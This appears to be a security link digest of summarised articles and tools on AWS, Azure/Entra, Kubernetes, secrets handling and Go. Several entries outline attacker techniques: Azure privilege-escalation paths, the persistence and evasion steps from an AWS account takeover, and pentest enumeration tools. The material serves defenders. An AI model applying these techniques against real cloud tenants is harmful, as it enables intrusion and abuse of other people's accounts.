    TL;DR: cleanowners is an MIT-licensed GitHub Action from GitHub’s OSPO that opens PRs removing users who are no longer organization members from CODEOWNERS files.

    • Behavior: Also opens a PR adding a placeholder if CODEOWNERS is missing or empty.
    • Auth: GitHub App (GH_APP_ID, GH_APP_INSTALLATION_ID, GH_APP_PRIVATE_KEY) preferred over GH_TOKEN; classic PAT needs repo and read:org.
    • App permissions: Contents and Pull requests read/write, Metadata read, Organization Members read.
    • Settings: ORGANIZATION or REPOSITORY, EXEMPT_REPOS, DRY_RUN, ISSUE_REPORT, GH_ENTERPRISE_URL.
    • Workflow: github-community-projects/cleanowners@v2 on a cron (example "3 2 1 * *", monthly).
    • Limits: Community support only, no GitHub SLA; App must be installed on each scanned repo.

    Takeaway: Stale CODEOWNERS silently break required-review rules; run this monthly with DRY_RUN first.

  • Small Language Models for Application Security: Beyond ChatGPT
    summary

    (Could not fetch full text.)

    TL;DR: Conference talk by Louis Barrett on using small language models, rather than large hosted models like ChatGPT, for application security tasks.

    • Topic: Applying small, self-hostable language models to AppSec work as an alternative to general-purpose chatbots.
    • Likely themes: A related Loco Moco Security Conference session (“Small Language Models for Application Security II”, July 2024) describes using small off-the-shelf models, training them, scoping projects, and keeping company data inside the organization. It is not confirmed to be the same talk or speaker.
    • Context: Related public work (e.g. Wiz fine-tuning a small model for secret detection) argues small models give privacy and latency benefits when run on-premises.
    • Source caveat: The YouTube page returned no description or transcript; summary is based on the video title and web search results only, so specifics of the talk are unknown.

    Takeaway: Watch it if you are weighing self-hosted small models for code review or secret detection where sending source code to a third-party LLM is not acceptable.

  • Ultimate Guide to Secrets in Lambda
    summary

    TL;DR: AJ Stuyvenberg (March 2024) compares four ways to give AWS Lambda functions secrets, environment variables, SSM Parameter Store, Secrets Manager and KMS, on cost, latency, auditability, rotation and size.

    • Env vars: Encrypted at rest, exposed via GetFunctionConfiguration; 4 KB total limit; about 25 ms added to cold start; poor per-secret auditing.
    • Parameter Store: Standard params free, 4 KB, 10,000 per region; advanced $0.05/month, 8 KB, TTL policies; above 40 RPS costs $0.05 per 10,000. About 217 ms cold, 39.3 ms warm.
    • Secrets Manager: $0.40/secret/month, 65 KB, rotation and cross-region replication. About 177 ms cold, 29.4 ms warm.
    • KMS: $1/key/month, $0.03 per 10,000 requests, 4 KB per encrypt; decrypt about 64.4 ms cold, 6.45 ms warm. Envelope encryption suits about 100 KB of secrets.
    • Extension: Criticizes the closed-source AWS Parameters and Secrets Lambda Extension; prefers SDK calls or Powertools.
    • Recommendations: Env vars for low-blast-radius keys, SecureString parameters for larger secrets, Secrets Manager when compliance (PCI-DSS, HIPAA) requires rotation.

    Takeaway: Whatever you pick, lock down lambda:GetFunctionConfiguration and kms:Decrypt, since anyone with the former can read env-var secrets in plaintext.

  • Access: Discord’s Centralized Portal to Discover, Request and Manage Internal Access
    summary

    TL;DR: Access is Discord’s Apache 2.0 open-source portal where employees discover, request and manage access to internal systems, built on top of Okta groups.

    • Stack: React/TypeScript SPA with a FastAPI backend; PostgreSQL 14+ in production, SQLite for development; OIDC or Cloudflare Access for login.
    • Okta token: Needs Group Admin and Application Admin; managing groups that grant Okta admin needs Super Admin.
    • Jobs: access sync, access notify, access sync-app-groups, plus repair commands with --dry-run.
    • Expiry: Pending requests expire after one week by default (MAX_ACCESS_REQUEST_AGE_SECONDS=604800), or never.
    • Plugins: pluggy-based hooks (async) for notifications, conditional access, metrics and app-group lifecycle.
    • MCP: Optional ENABLE_MCP=true lets LLM clients browse and file requests but not approve them.
    • Limits: Okta is the source of truth and authoritative sync can push changes back; lifecycle hook delivery is not guaranteed.

    Takeaway: A self-hosted alternative to commercial access-request tools if you already run Okta; treat its Okta token as highly privileged.

  • AzurEnum: Enumerate Microsoft Entra ID (Azure AD) Fast
    summary

    TL;DR: AzurEnum, from SySS Research (Enrique Hernandez, Domenik Jockers), is an MIT-licensed Python tool for fast enumeration of a Microsoft Entra ID (Azure AD) tenant’s security-relevant configuration.

    • Tenant info: User, group and app counts, Entra ID license, tenant ID.
    • Settings: Group creation, consent policy, guest access, named locations, conditional access policies and their enforcement.
    • Privilege: Admin roles, PIM assignments (including group-based), administrative units, dynamic groups, sync and MFA status of admins.
    • Secrets: Flags credentials stored in object attributes.
    • Setup: Python 3 and pipx; Linux recommended; username/password auth, tenant ID, text or JSON output.
    • Limits: Output depends on the user’s rights; Global Reader gives the most complete results.

    Takeaway: Quick first-pass audit for pentests or your own tenant review; run it as Global Reader and look first at admin MFA, guest settings and credentials in attributes.

  • CloudSecDocs: Engineering Decisions Reading List
    summary

    TL;DR: Marco Lancini’s CloudSecDocs “Engineering Decisions” page is a curated, annotated reading list on how teams document, design and operate software and cloud infrastructure.

    • Documentation: Design docs, RFCs, PRDs, ADRs and technical writing resources.
    • Infrastructure: Architectures, AWS/GCP implementations, Kubernetes and microservices.
    • Dev environments and CI: Deployment pipelines and cloud development environments.
    • Software engineering: Build vs buy, modularization, platform engineering pitfalls.
    • Notable links: monday.com multi-region architecture, Uber’s Crane and Superuser Gateway, Square on VPC endpoints, Lambda mTLS and secrets infrastructure, “Multicloud failover is almost always a terrible idea”, Stripe’s ledger.

    Takeaway: A good bookmark when you need prior art for a design doc or ADR, especially on privileged access and multi-region architecture.

  • Building an Interactive Shell in Golang
    summary

    TL;DR: DoltHub’s Zach Musgrave explains how to build interactive shells in Go with the abiosoft/ishell package, using Dolt’s SQL shell as the worked example.

    • Commands: Each ishell.Cmd has Name, Help and Func; start with shell.Run().
    • Free-form REPL: Needs DoltHub’s fork with ishell.UninterpretedConfig (LineTerminator: ";", QuitKeywords) and a shell.Uninterpreted handler.
    • Exit handling: EOF handler calls c.Stop() on Ctrl-D; first Ctrl-C warns, second quits.
    • History: HistoryFile in readline.Config, shell.AddHistory(), Ctrl-R search.
    • Completion: shell.CustomCompleter() suggesting SQL keywords, tables and columns.
    • Libraries: readline, fatih/color, shlex.
    • Limits: ishell is no longer actively developed (though stable); for non-interactive CLIs use cobra, gum or kingpin.

    Takeaway: Good starting point if your Go tool needs a REPL with history and completion; expect to fork or vendor ishell.

  • The Copenhagen Book: A Basic Guideline on Implementing Auth for the Web
    summary

    TL;DR: The Copenhagen Book by pilcrowOnPaper is a free, MIT-licensed, community-maintained guide to implementing authentication in web apps.

    • Chapters: Server-side tokens, sessions, password authentication, email verification, password reset, generating random values, OAuth, MFA, WebAuthn, CSRF, open redirect, plus an ECDSA cryptography section.
    • Stance: Self-described as opinionated and sometimes incomplete; recommends pairing it with the OWASP Cheat Sheet Series.
    • Status: Repository archived June 2026 and read-only; replaced by auth.pilcrowonpaper.com.
    • Popularity: About 2.1k stars on GitHub.
    • Caveat: The landing pages fetched list topics only; per-chapter specifics (hashing parameters, token sizes) were not reviewed here.

    Takeaway: Useful plain-language reference for rolling your own sessions or password reset; check the successor site for current guidance since the original is unmaintained.

  • Leveraging AWS SSO (Identity Center) with Google Workspace
    summary

    TL;DR: Chris Farris (PrimeHarbor, May 2023) walks through using Google Workspace or Cloud Identity as the external IdP for AWS IAM Identity Center, with group sync via AWS’s ssosync.

    • Switch source: Change the Identity Center identity source to an external IdP, doing it as an IAM user to avoid lockout.
    • SAML app: Custom SAML app in Google Admin with AWS’s ACS and issuer URLs, Name ID format EMAIL; upload Google IdP metadata to AWS.
    • Provisioning: Google does not support SCIM to AWS natively, so deploy ssosync (Go, runs as Lambda from the Serverless Application Repository).
    • ssosync setup: GCP project with Admin SDK, service account JSON key, domain-wide delegation with read-only directory scopes; can sync only groups with a prefix such as “AWS”.
    • Access: Assign synced groups to accounts through permission sets.
    • Gotchas: Existing Identity Center users/groups may be deleted if they do not match Google; Cloud Identity free tier works, no Workspace license needed.

    Takeaway: Workable SSO pattern for Google shops; protect the ssosync service account key, since it can read your whole directory.

  • CloudFox: Automating Situational Awareness for Cloud Penetration Tests
    summary

    TL;DR: CloudFox is Bishop Fox’s open-source Go CLI that automates situational awareness during cloud penetration tests, finding exploitable attack paths in AWS, Azure and GCP.

    • Coverage: AWS (34 commands), Azure (4), GCP (60); Kubernetes planned.
    • AWS: cloudfox aws --profile <name> all-checks; modules like instances, secrets, permissions, iam-simulator, eks.
    • Azure/GCP: whoami, rbac, vms; GCP privesc, hidden-admins, storage-enum.
    • Design: Read-only principal, no exploitation, no compliance findings; in black-box use failed checks fail silently, so any output means you had access.
    • Install: Binary release, Homebrew or go install.
    • Limits: Use v1.17.0+ (AWS service mapping change); some checks need SecurityAudit plus a custom policy; cape needs pmapper data; GCP APIs must be enabled per project.

    Takeaway: Run it with a SecurityAudit-style role against your own accounts to see what an attacker with those creds would find first.

  • Tsunami: Google’s Extensible Network Security Scanner for High-Severity Vulnerabilities
    summary

    TL;DR: Tsunami is Google’s Apache 2.0 general-purpose network security scanner with a plugin system focused on detecting high-severity vulnerabilities with high confidence.

    • Plugins: Detection logic lives in plugins; public ones are in google/tsunami-security-scanner-plugins.
    • Layout: common, main, plugin, plugin_server/py, proto, workflow directories; Gradle and Go modules plus a Python plugin server.
    • Packaging: Docker images (core, devel, full) and tsunami.yaml / tsunami_tcs.yaml configs.
    • Status: About 8.6k stars; README says it is “not an official Google product” despite the Google org.
    • Reuse: Its detectors are used by other tools, e.g. Ostorlab KEV.
    • Limits: The README itself has no run commands or requirements; see the linked build docs.

    Takeaway: Good for low-noise external checks of critical CVEs and exposed admin interfaces; pair with a broader scanner for coverage.

  • Terraform CI/CD and Testing on AWS with the New Terraform Test Framework
    summary

    TL;DR: AWS DevOps blog (April 2024, Kevon Mayers and Welly Siauw) on testing Terraform modules with the native terraform test framework and running those tests in an AWS CodePipeline.

    • Framework: *.tftest.hcl files with run blocks that plan or apply and check assert conditions; requires Terraform CLI 1.6+.
    • Negative tests: expect_failures checks invalid inputs are rejected, e.g. a CodeCommit repo name over 100 characters.
    • Helpers: Setup modules in tests/setup create dependencies (e.g. KMS keys) whose outputs feed later runs.
    • Cleanup: Test resources are destroyed whether tests pass or fail; warnings for resources that cannot be destroyed.
    • Pipeline: CodeCommit, CodeBuild and CodePipeline running terraform init/validate/plan/apply/test.
    • Limits: Tests run sequentially; the pipeline example is tied to CodeCommit.

    Takeaway: terraform test with expect_failures on variable validation is a cheap win for shared modules; the CI pattern ports to any runner.

  • 15 Must-Attend Security Sessions at Next ‘24
    summary

    TL;DR: Google Cloud blog (April 2024, Ruchika Mishra) listing 15 recommended security sessions at Google Cloud Next ‘24 in Las Vegas.

    • Scale: The Security Professionals track had more than 40 breakouts plus demos and lightning talks.
    • AI for security: Sessions on AI in SecOps; one cites early feedback that AI cuts triage time for complex cases sevenfold.
    • Securing AI: Google SAIF (Secure AI Framework) and privacy-first generative AI.
    • Network and data: Cloud NGFW, Secure Web Proxy, Cloud Armor, VPC Service Controls and Organization Restrictions for exfiltration prevention.
    • Threat management: Security Command Center Enterprise, multicloud detection, Mandiant’s 2023 cloud compromise lessons.
    • Other: IAM best practices, security foundations, Chrome Enterprise DLP, customer talks (TD, Charles Schwab, Mayo Clinic, Verizon).

    Takeaway: Mostly useful as a pointer to recorded sessions; the VPC Service Controls and Mandiant cloud compromise talks are the most practical for GCP defenders.

  • awesome-secure-defaults: Secure-by-Default Libraries to Eliminate Bug Classes
    summary

    TL;DR: awesome-secure-defaults, maintained by the tl;dr sec organization, is a curated list of secure-by-default libraries that eliminate whole bug classes instead of relying on developers to get things right.

    • Categories: Headers, SSRF, cryptography, HTML sanitization (XSS), regex, deserialization, CSRF, open redirect, path traversal, templating, SQL injection, prompt injection.
    • Examples: helmet (Express headers), google/tink (misuse-resistant crypto), DOMPurify (XSS), gorilla/csrf and nosurf (Go CSRF), google/re2 (no catastrophic backtracking), google/safearchive (path traversal and symlinks).
    • Infrastructure: Hardened OSes, distroless images, harden-runner for GitHub Actions egress filtering.
    • Format: Each entry lists language, category and activity badges.

    Takeaway: Use it to pick paved-road libraries; standardizing on one of these per bug class beats repeated code review findings.

  • libnuke: Common Go Packages for the Cloud Nuke Tools
    summary

    TL;DR: libnuke by Erik Kristensen (ekristen) is an MIT-licensed Go library holding the shared scanning, filtering and deletion framework behind his maintained fork of aws-nuke and sibling cloud-nuke tools.

    • Origin: Much code comes from rebuy-de’s aws-nuke, consolidated from ekristen’s aws-nuke and azure-nuke forks.
    • Packages: config (YAML), filter, nuke (scan and removal ordering), queue (generic retry queue), resource, settings (e.g. overriding EC2 deletion protection), plus log/errors/types/utils.
    • Consumers: aws-nuke, azure-nuke, gcp-nuke, oci-nuke, stackit-nuke.
    • Design note: Retries alone do not solve resource deletion ordering; dependency management is acknowledged as a gap in the original code.
    • Limits: “Initial Development”, 0.y.z versions, breaking API changes possible.

    Takeaway: Mostly relevant if you build your own nuke tool; for users, it signals that ekristen’s aws-nuke is the actively maintained line.

  • AWS Organization Migration Notes
    summary

    TL;DR: Gist by houey with notes from migrating a large enterprise’s AWS Organization off a legacy management account that also ran workloads, plus an updated guide covering newer AWS features.

    • Core constraint: You cannot change an organization’s management account, so build a new org and move accounts; account IDs stay, the org ID changes.
    • Plan: Inventory dependencies and export billing data; build a hardened new management account with OUs including Incoming and Suspended; deploy the security baseline.
    • Cutover: Decommission Control Tower and legacy StackSets, move accounts in waves, move the old management account last, then remove old org IDs from policies.
    • Gotchas: Discounts may revert to list price unless agreements are updated first; default account quota is 10; policies referencing the old org ID break; StackSet role ARNs change; Identity Center access is lost at transfer; delegated admins block account departure.
    • Coverage: SCPs, Resource Control Policies, Declarative Policies, centralized root access, Control Tower Landing Zone 4.0.
    • Services touched: Organizations, IAM Identity Center, CloudTrail, Config, Security Hub, GuardDuty, S3, KMS, RAM, Billing, Savings Plans.

    Takeaway: Grep every resource policy for the old org ID and line up billing and delegated-admin changes before moving the first account.

  • Incident Responder Interview Questions
    summary

    TL;DR: LetsDefend blog post (Berkay Soylu, February 2024) with 27 incident responder interview questions and sample answers, plus brief interview prep tips.

    • Sections: General IR, network-related IR, event log analysis, and DFIR.
    • Topics: NIST IR lifecycle, incident vs event, IOCs vs IOAs, root cause analysis, packet analysis, C2, IDS, honeypots.
    • Logs and forensics: Windows event log analysis, log correlation, forensic timelines, triage, imaging, Windows artifacts, volatile data collection, order of volatility.
    • Examples: “What is an incident?”; “Explain the concept of ‘Order of Volatility’”.
    • Prep advice: Research the role and company; avoid sharing salary expectations early.

    Takeaway: Entry-level question bank; useful for interviewers building a baseline screen or for juniors preparing for SOC/IR roles.

  • GoAlert: Open-Source On-Call Scheduling, Escalations and Notifications
    summary

    TL;DR: GoAlert is Target’s Apache 2.0 open-source on-call platform for scheduling, automated escalations and SMS/voice notifications, shipped as a single binary.

    • Features: On-call schedules, escalation policies, SMS and voice alerts, web UI.
    • Integrations: Grafana, Prometheus Alertmanager, Site24x7, Mailgun and a generic API.
    • Demo: docker run -it --rm -p 8081:8081 goalert/demo, log in at localhost:8081 as admin/admin123; SKIP_SEED=1 skips seed data.
    • Images: Docker Hub latest for releases, nightly for master.
    • Dev: make start serves on localhost:3030.
    • Limits: README states no scale limits; production setup is in the docs folder’s getting-started guide.

    Takeaway: A self-hosted PagerDuty/Opsgenie alternative worth evaluating for cost or data-residency reasons; try the demo image first.

10.04.2024

  • Ostorlab KEV: One Command to Detect Remotely Exploitable Known Vulnerabilities
    summary

    TL;DR: Ostorlab KEV is an Apache 2.0 agent group for the ostorlab scanner that runs one command to detect remotely exploitable known vulnerabilities, sourced from CISA KEV, Google Tsunami, Ostorlab Asteroid and bug bounty findings.

    • Agents: agent_group.yaml runs Nuclei, Tsunami, Nmap, Asteroid and Metasploit; add Subfinder and dnsx for subdomains.
    • Install: pip install -U ostorlab; needs Python 3.9+ and Docker.
    • Scan: ostorlab scan run --install -g agent_group.yaml ip 8.8.8.8 (also domain-name, link).
    • Results: ostorlab scan list, ostorlab vulnz list -s <scan-id>, ostorlab vulnz describe -v <vuln-id>.
    • Limits: Intrusive templates excluded; many KEV CVEs are not covered because they need local access, auth or user interaction; Interactsh checks need target egress to the callback server.

    Takeaway: Cheap way to check your external attack surface against CISA KEV; a clean result does not mean KEV-clean, since coverage is partial.

  • A Recipe for Scaling Security
    summary

    (Could not fetch full text.)

    TL;DR: David Dworken’s January 2024 Google Bug Hunters post on how Google rolls out security features across many existing services, using the multi-year Strict CSP rollout as the case study.

    • Focus: Retrofitting protections into existing services rather than greenfield design.
    • Ingredients: Tooling to push code changes at scale, compile-time checks, and experiment systems for safe rollout.
    • Data: Precision-focused data spanning the infrastructure, plus measuring adoption over time.
    • Developer experience: Treated as a core ingredient so teams adopt the control.
    • Related: Companion example on eliminating debug log leakage by construction, monitored with static analysis and runtime checks.
    • Source caveat: The page is JavaScript-rendered and could not be read; summary is based on search results and the tl;dr sec #216 description.

    Takeaway: The point applies beyond Google: secure-by-default frameworks plus automated migration and adoption metrics scale better than per-team reviews.

  • Azure Attack Paths
    summary

    TL;DR: Fabian Bader’s (Cloudbrothers) living reference of Azure and Entra ID attack paths, first published March 2022 and updated since, each with diagram, detection guidance and KQL/PowerShell hunting queries.

    • Partner access: Azure Lighthouse malicious delegations and abuse of delegated administrative privileges (DAP).
    • Graph and roles: API permissions such as Application.ReadWrite.All leading to Global Admin; Privileged Authentication Administrator and Privileged Role Administrator abuse.
    • Subscription takeover: Global Admin toggling “Access management for Azure resources” to gain root-scope control.
    • Compute: VM Run Command, over-privileged managed identities, DSC, Guest Configuration, Hybrid Runbook Workers.
    • Hybrid identity: Entra Connect MSOL_ account password resets and Golden SAML via stolen ADFS signing keys.
    • Tools: Az and Microsoft.Graph PowerShell, AADInternals, BloodHound, ADFSpoof.
    • Mitigations: Move to granular DAP, least privilege for identities and app permissions, monitor role changes and Run Command in Sentinel, treat Entra Connect as Tier 0.

    Takeaway: Use it as a checklist for Entra/Azure hardening and to seed Sentinel hunting queries.

  • Kubernetes Scheduling and Secure Design
    summary

    TL;DR: Doyensec (Francesco Lacerenza, Lorenzo Stella, January 2024) argues Kubernetes pod scheduling is a security control: placing critical workloads on separate nodes limits blast radius when a pod is compromised.

    • Mechanisms: nodeSelector (AND of labels), node affinity/anti-affinity, inter-pod affinity/anti-affinity, taints and tolerations, nodeName.
    • Key point: Only hard (required...) rules give security guarantees; a toleration permits placement but does not force it.
    • Attacks: Editing node labels or taints to attract sensitive pods to an attacker node; submitting pod specs that steer onto critical nodes; label combinations that block legit scheduling.
    • Mitigations: Dedicated node pools for critical namespaces, hard rules, restricted RBAC on node label/taint updates, NodeRestriction admission plugin so kubelets cannot set protected labels.
    • Trade-offs: From isolated node pools up to fully separate clusters.
    • Tools: kubernetes-sigs/scheduler-plugins and custom schedulers.

    Takeaway: Pair taints (to keep others out) with hard node affinity (to keep critical pods in), and lock down who can patch nodes.

  • Microsoft’s Dangerous Addiction to Security Revenue
    summary

    TL;DR: Alex Stamos (January 2024, LinkedIn) argues Microsoft’s Midnight Blizzard disclosure understated the breach and that Microsoft treats security as an upsell profit center, which he calls “morally indefensible”.

    • Disclosure: He reads Microsoft’s post as revealing other organizations using Microsoft cloud identity and email were also compromised.
    • Attack: A “legacy” test OAuth app with elevated access let the attacker reach corporate mailboxes via the Exchange Online full_access_as_app role; he calls the legacy label a dodge.
    • Identity complexity: Azure AD/Entra is overly complex and hybrid setups combine cloud and on-prem weaknesses.
    • Upselling: Cites paid features like Entra ID Protection and Purview Audit (Premium) being needed to detect such attacks; compares it to charging for seat belts.
    • Context: Reports of at least ten breached companies (Washington Post) and about 200 organizations targeted in the SolarWinds-linked SVR campaign.
    • Disclosure of interest: Stamos worked at SentinelOne, a Microsoft competitor.

    Takeaway: Audit OAuth apps and service principals with app-only Exchange or Graph permissions, especially in test tenants, and budget for the logging tiers you need to detect abuse.

  • Salary Negotiation in 30 Seconds
    summary

    TL;DR: Mike Crittenden’s January 2024 post compresses salary negotiation into a short checklist: never name a number first, let the employer make the offer, then counter in writing.

    • Current salary: Do not disclose it. Saying you would rather not say is an acceptable answer.
    • Requirements: Do not state a target. Say it depends on other offers, or decline.
    • Offer call: Wait for their number, thank them, say you will consider it, end the call.
    • Counter: Reply by email asking 10-20% above the offer. Expect a counter, then make one final ask a few thousand higher.
    • Fixed band: Negotiate title (a higher level means a higher band) or a signing bonus, which is often more flexible and typically 5-20% of annual compensation.
    • Risk: Companies have sunk time and approvals into you, so hard negotiation rarely gets an offer pulled.
    • Further reading: Recommends the book Fearless Salary Negotiation.

    Takeaway: Keep it as a pre-call checklist: no first number, counter by email, and fall back to title or signing bonus when base is capped.

  • GPTs: Collection of Leaked GPT System Prompts
    summary

    TL;DR: linexjlin/GPTs is a GitHub collection of leaked system prompts from custom ChatGPT GPTs, one file per GPT, with roughly 32k stars.

    • Sources: Most prompts came from one linked X post, others from contributor pull requests, some extracted by the maintainer.
    • Size: The README index lists more than 200 GPTs, each with its credited author or source.
    • Layout: A prompts/ folder with one file per GPT, an index in the README, links to open-source GPT repos with actions and knowledge files, and a prompt-analysis link.
    • Languages: Entries span English, Chinese, Japanese and others.
    • License: No license is stated on the page.

    Takeaway: Useful as a corpus of real-world system prompts and as proof that GPT instructions are trivially extractable. Never put secrets or proprietary logic in a GPT or agent system prompt.

  • The Curious Case of DangerDev@protonmail.me
    summary

    TL;DR: Invictus IR walks through a month-long AWS account takeover that started with one leaked long-term access key for an admin IAM user and ended in SES phishing, GPU cryptomining attempts and lookalike domain registration.

    • Initial access: An exposed access key for an IAM user with AdministratorAccess. Early activity was only SES recon (GetSendQuota, ListIdentities) and later ListUsers.
    • Persistence: Created IAM user DangerDev@protonmail.me with CreateLoginProfile and AttachUserPolicy (AdministratorAccess), a user named ses mimicking SES SMTP users, and new access keys for existing users.
    • Backdoor roles: Two roles trusting external accounts with lookalike names (AWSLanding-Zones-ConfigRecorderRoles, AWSeservedSSO vs AWSReservedSSO), then AttachRolePolicy with AdministratorAccess and AssumeRole from the attacker’s own account.
    • Compute abuse: Opened RDP/SSH, launched a t2.micro test, then tried three p3.16xlarge instances; one hit account limits, one ran about an hour. After eviction, a short-lived LightSail instance from another identity.
    • SES and domains: CreateEmailIdentity for several domains, spam and phishing aimed at crypto exchange credentials, a sending-quota increase request, and four PayPal-lookalike domains via RegisterDomain.
    • Evasion: Deleted users, policies and keys, and read GuardDuty findings (ListFindings, GetFindings).
    • IOCs: AWS account IDs 265857590823 and 671050157472, mostly Indonesian IPs. Discovery came from an AWS Trust and Safety SES support case.
    • Gaps: Missing VPC flow logs hindered the investigation.

    Takeaway: Alert on IAM user and role creation with external trust, admin policy attachment, SES quota requests and GPU launches, and kill long-term admin access keys.

  • Scanning Git for Secrets: The 2024 Comprehensive Guide
    summary

    TL;DR: Truffle Security’s guide to finding hardcoded credentials in git repositories, built around their open-source TruffleHog scanner and its per-platform commands.

    • Scale: Cites GitHub’s figure of over 1.7 million leaked secrets detected in 2022, and Truffle’s own research of about 1,800 public pushes per day leaking live keys and passwords.
    • Where secrets live: Code and config files, plus issues, PR comments and other content outside the repo tree.
    • Tool: TruffleHog detects 800+ secret types and verifies hits against provider APIs to cut false positives.
    • Git commands: trufflehog git <url>, trufflehog git file://<path>, with --only-verified, --branch and --since-commit.
    • Platform commands: trufflehog github --repo=<url> --issue-comments --pr-comments, trufflehog github --org=<name> --token=<PAT>, trufflehog gitlab --repo=<url> --token=<token> with --endpoint for self-hosted.
    • Other hosts: Bitbucket, CodeCommit, Gitea and Gerrit use the generic git mode.
    • CI: Runs in GitHub Actions, CircleCI and Travis CI to scan new commits.

    Takeaway: Run an org-wide trufflehog github --org sweep with --only-verified once, then wire --since-commit scans into CI.

  • action-tmate: Debug GitHub Actions via SSH with tmate
    summary

    TL;DR: action-tmate is a GitHub Action by mxschmitt that opens a tmate SSH or web terminal session into a running Actions runner so you can debug a workflow interactively.

    • Status: The public ssh.tmate.io servers shut down in July 2025, so default settings no longer work. Self-host a tmate server and set tmate-server-host, tmate-server-port and the fingerprint inputs.
    • Usage: Add uses: mxschmitt/action-tmate@v3 as a step, optionally gated by if: ${{ failure() }} or a workflow_dispatch input. Create a file named continue to resume the job.
    • Detached mode: detached: true prints connection info, lets later steps run and exposes ssh-command, ssh-address and web-url outputs.
    • Access control: If the triggering user has SSH keys on GitHub only those keys can connect; otherwise anybody with the connection string can. limit-access-to-actor: true enforces keys.
    • Exposure: The connection string is printed to the logs every 5 seconds, so anyone with log access sees it.
    • Other inputs: sudo: false, install-dependencies: false for self-hosted runners, msys2-location on Windows. Set step timeout-minutes to cap sessions.
    • Platforms: Linux, macOS and Windows runners.

    Takeaway: Handy for hard CI bugs, but always set limit-access-to-actor: true and a timeout, and never use it in public repos where secrets are in scope.

  • github-to-aws: Set Up GitHub Actions to Deploy to AWS
    summary

    TL;DR: github-to-aws is a small MIT-licensed CLI by Matthieu Napoli that sets up GitHub Actions OIDC deployment to AWS through a CloudFormation stack, removing long-lived access keys.

    • What it creates: An OIDC trust and an IAM role via cloudformation.yml, assumable only by workflows from the repo you name.
    • Run: npx github-to-aws --repo=your-org/your-repo, optional --profile and --region. It asks before changing anything and prints the role ARN.
    • Workflow side: Add permissions: id-token: write (and contents: read), then aws-actions/configure-aws-credentials@v4 with role-to-assume and aws-region.
    • Permissions: The role gets AdministratorAccess. The author suggests forking the template to narrow it.
    • Removal: Delete the CloudFormation stack.

    Takeaway: A quick way to get keyless GitHub-to-AWS auth, but replace AdministratorAccess with a scoped policy and restrict the trust to specific branches or environments before production use.

  • Amazon EKS Introduces Upgrade Insights
    summary

    TL;DR: AWS announced Amazon EKS upgrade insights on December 20, 2023: EKS automatically scans clusters for issues that could break an upgrade to a newer Kubernetes version and gives remediation advice.

    • Checks: Scans against an AWS-maintained list of upgrade-impacting issues, updated as Kubernetes and EKS change. The announcement does not list individual checks.
    • Access: Results are viewable any time in the EKS console or via the EKS APIs, evaluated against all future EKS-supported versions.
    • Remediation: Each insight comes with recommended fixes.
    • Regions: All regions except AWS GovCloud (US) and China (Beijing, Ningxia).
    • Cost: Not mentioned in the announcement.

    Takeaway: Check cluster insights (for example deprecated API usage) before every EKS version bump instead of relying only on manual tools like pluto or kubent.

  • Amazon EKS Pod Identity: A New Way for Applications on EKS to Obtain IAM Credentials
    summary

    TL;DR: AWS’s launch post for EKS Pod Identity, a simpler alternative to IRSA that maps IAM roles to Kubernetes service accounts through an EKS API instead of a per-cluster OIDC provider.

    • Trust policy: Roles trust pods.eks.amazonaws.com for sts:AssumeRole and sts:TagSession, optionally conditioned on account or cluster.
    • Mechanism: CreatePodIdentityAssociation links role to service account. An EKS webhook injects env vars and a projected token; the eks-pod-identity-agent DaemonSet calls AssumeRoleForPodIdentity to return credentials.
    • Session tags: Credentials carry namespace, service account, cluster ARN/name and pod name/UID tags, so one ABAC policy can cover many workloads.
    • Vs IRSA: No OIDC provider or trust-policy edits per cluster, one role can serve many clusters, avoids trust-policy size limits. IRSA still needed for EKS Anywhere, ROSA and self-managed clusters; both can coexist.
    • Limits: EKS 1.24+. Associations cannot move between clusters, namespaces or service accounts; UpdatePodIdentityAssociation only changes the role.
    • Setup: eksctl v0.165.0+, add the agent add-on, then eksctl create podidentityassociation. Apps need a recent AWS SDK that supports the container credential provider.

    Takeaway: Prefer Pod Identity for new EKS workloads, and use session-tag conditions in policies to scope access per namespace.

  • Image Filesystem: Configuring Kubernetes to Store Containers on a Separate Filesystem
    summary

    TL;DR: Kevin Hannon (Red Hat) explains on the Kubernetes blog how to put the container runtime’s image and writable-layer storage on its own disk and how the kubelet’s eviction and garbage collection react.

    • Terms: imagefs is the runtime filesystem (image layers and writable layers); nodefs is usually /var/lib/kubelet (ephemeral storage, logs).
    • CRI-O: Set graphroot and runroot in /etc/containers/storage.conf. On SELinux, relabel with semanage fcontext -a -e /var/lib/containers/storage <path> and restorecon -R -v <path>.
    • containerd: Set root (default /var/lib/containerd) and state (default /run/containerd) in /etc/containerd/config.toml.
    • Kubelet: Detects the split automatically. GC removes unused images from imagefs and dead pods/containers from nodefs.
    • Eviction defaults: memory.available<100Mi, nodefs.available<10%, imagefs.available<15%, nodefs.inodesFree<5%. Setting evictionHard replaces all defaults, so list every signal.
    • Pitfalls: Ephemeral storage accounting stays on nodefs even when writable layers live on imagefs; filesystem-backed emptyDir uses nodefs.
    • Future: KEP-4191 would split the writable layer from images.

    Takeaway: When moving runtime storage to a dedicated disk, re-check imagefs eviction thresholds and remember ephemeral-storage limits are still measured on nodefs.

  • Profile Guided Optimisation (PGO) in Go
    summary

    TL;DR: Andrew Phillips explains Go’s Profile Guided Optimisation: feed a production CPU profile back to the compiler so it inlines, devirtualizes and lays out hot code better.

    • Optimizations: Larger inline budget for hot functions, hot-call-site-only inlining for big functions, devirtualization of interface calls that usually hit one type, and hot-path block and function layout.
    • Workflow: Build normally, capture a pprof CPU profile under real load, save it as default.pgo in the main package directory, rebuild, and repeat as code changes.
    • Profile hygiene: Commit the profile to version control, do not profile benchmarks, and use per-OS/arch profiles for platform-specific code.
    • Robustness: Small edits keep profiles useful; big renames of hot functions invalidate them. Resolution is line-level, so dense one-liners hurt.
    • Costs: Profiling adds overhead and PGO builds are slower. A bad profile can in theory slow code down.
    • Numbers: The post gives no measured speedups; its 10% CPU figure is illustrative.
    • Advice: Do not hand-devirtualize code; let PGO do it.

    Takeaway: For CPU-bound Go services, commit a representative default.pgo and refresh it periodically; it is close to free performance.

  • Context Control in Go
    summary

    TL;DR: A Go post on using context.Context for control flow, built around a worker design that the author got wrong by storing a context and then fixed by making the call blocking.

    • Two roles: Context carries cancellation signals across API boundaries and request-scoped data.
    • Rule 1: Only entry points (main(), TestXxx()) create root contexts with context.Background(); mid-chain code derives children.
    • Rule 2: Pass the context down; use context.TODO() as a marker where the real one is not plumbed yet.
    • Rule 3: Do not store contexts or use them after the function returns, since the caller may cancel.
